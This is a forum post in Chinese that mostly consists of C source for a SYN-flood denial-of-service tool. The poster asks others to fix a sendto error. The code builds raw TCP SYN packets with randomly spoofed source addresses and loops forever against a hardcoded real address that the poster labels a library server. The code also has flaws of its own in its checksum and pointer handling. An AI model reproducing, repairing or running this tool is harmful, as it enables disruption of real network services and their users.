- 论坛徽章:
- 0
|
从网上找到一段DOS的代码,就是自己构造TCP报文,IP源地址随机生成的,TCP只有SYN=1,然后就断掉,以实现DOS攻击。
先看代码吧:
- /*
- file: dos.c
- usage: dos attrack, for disguise TCP ACK and syn.
- destination is 202.119.232.8:80.(图书馆)
- from: http://blog.csdn.net/eroswang/archive/2007/09/19/1791514.aspx
- date: 2009-9-13
- */
- #include <stdio.h>
- #include <unistd.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/in_systm.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <netinet/ip_icmp.h>
- #include <errno.h>
- #include <sys/types.h>
- #include <stdlib.h>
- #include <arpa/inet.h>
- #include <unistd.h>
- /*
- #ifndef __USE_BSD
- #define __USE_BSD
- #ifndef __FAVOR_BSD
- #define __FAVOR_BSD
- */
- void send_tcp(int sockfd,struct sockaddr_in *addr);
- unsigned short check_sum(unsigned short *addr,int len);
- int destPort = 80; /*destination port is 80*/
- int sockfd;
- struct sockaddr_in destAddr;
- int main(int argc,char **argv)
- {
- /*struct hostent *host;*/
- int on=1;
- bzero(&destAddr,sizeof(struct sockaddr_in));
- destAddr.sin_family=AF_INET;
- destAddr.sin_port=htons(destPort);
- /*
- if(inet_aton(argv[1],&addr.sin_addr)==0)
- {
- host=gethostbyname(argv[1]);
- if(host==NULL)
- {
- fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
- exit(1);
- }
- addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0])
- }
- */
- if( inet_aton("202.119.232.8",&destAddr.sin_addr) ==0 )
- {
- printf("destAddr is error!\n");
- exit(1);
- }
- /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/
- sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
- if(sockfd<0)
- {
- fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
- exit(1);
- }
- /******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/
- setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
- /**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
- setuid(getpid());
- /********* 发送炸弹了!!!! ****/
- send_tcp(sockfd,&destAddr);
- }
- /******* 发送炸弹的实现 *********/
- void send_tcp(int sockfd,struct sockaddr_in *destAddr)
- {
- char buffer[100]; /**** 用来放置我们的数据包 ****/
- struct ip *ip;
- struct tcphdr *tcp;
- int head_len;
- char *svrIp = NULL;
- /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
- head_len=sizeof(struct ip)+sizeof(struct tcphdr);
- bzero(buffer,100);
- /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
- ip=(struct ip *)buffer;
- ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
- ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
- ip->ip_tos=0; /** 服务类型 **/
- ip->ip_len=htons(head_len); /** IP数据包的长度 **/
- ip->ip_id=0; /** 让系统去填写吧 **/
- ip->ip_off=0; /** 和上面一样,省点时间 **/
- ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
- ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
- ip->ip_sum=0; /** 校验和让系统去做 **/
- ip->ip_dst=destAddr->sin_addr; /** 我们攻击的对象 **/
- /******* 开始填写TCP数据包 *****/
- tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
- tcp->source=htons(9890);
- tcp->dest=destAddr->sin_port; /** 目的端口 **/
- tcp->seq=random();
- tcp->ack_seq=0;
- tcp->doff=5;
- tcp->syn=1; /** 我要建立连接 **/
- tcp->check=0;
- struct pseudohdr
- {
- struct in_addr saddr;
- struct in_addr daddr;
- unsigned char zero;
- unsigned char protocol;
- unsigned short length;
- }pseudoheader;
- char chsum[40];
- /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
- while(1)
- {
- /** 你不知道我是从那里来的,慢慢的去等吧! **/
- ip->ip_src.s_addr=random();
- /*伪首部,用于计算TCP检验和的*/
- pseudoheader.saddr.s_addr = ip->ip_src.s_addr;
- pseudoheader.daddr.s_addr = ip->ip_dst.s_addr;
- pseudoheader.zero = 0;
- pseudoheader.protocol = 4;
- pseudoheader.length = sizeof(struct tcphdr);
- bzero(chsum, sizeof(chsum));
- memcpy(chsum, &pseudoheader,sizeof(pseudoheader));
- memcpy(chsum+sizeof(pseudoheader), &tcp, sizeof(struct tcphdr));
- svrIp = inet_ntoa(ip->ip_src);
- printf("souce IP is:%s\t", svrIp);
- /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
- /** 下面这条可有可无 */
- tcp->check=check_sum((unsigned short *)chsum,sizeof(pseudoheader)+sizeof(struct tcphdr));
- if( sendto(sockfd,buffer,head_len,0,(struct sockaddr *)&destAddr,
- sizeof(struct sockaddr_in)) < 0)
- printf("sendto error!\n");
- }
- }
- /* 下面是首部校验和的算法,偷了别人的 */
- unsigned short check_sum(unsigned short *addr,int len)
- {
- int nleft=len;
- int sum=0;
- unsigned short *w=addr;
- short answer=0;
- while(nleft>1)
- {
- sum+=*w++;
- nleft-=2;
- }
- if(nleft==1)
- {
- *(unsigned char *)(&answer)=*(unsigned char *)w;
- sum+=answer;
- }
- sum=(sum>>16)+(sum&0xffff);
- sum+=(sum>>16);
- answer=~sum;
- return(answer);
- }
复制代码
请教:问题:每次总是出现sendto错误(就是上面红色部分),我仔细检查了IP和TCP头,都没有发现明显的错误,随即生成的IP地址,也是可用的,gdb也挑不出来什么。另外,我的是ubuntu 8。04
郁闷,请大侠们教教,谢谢! |
|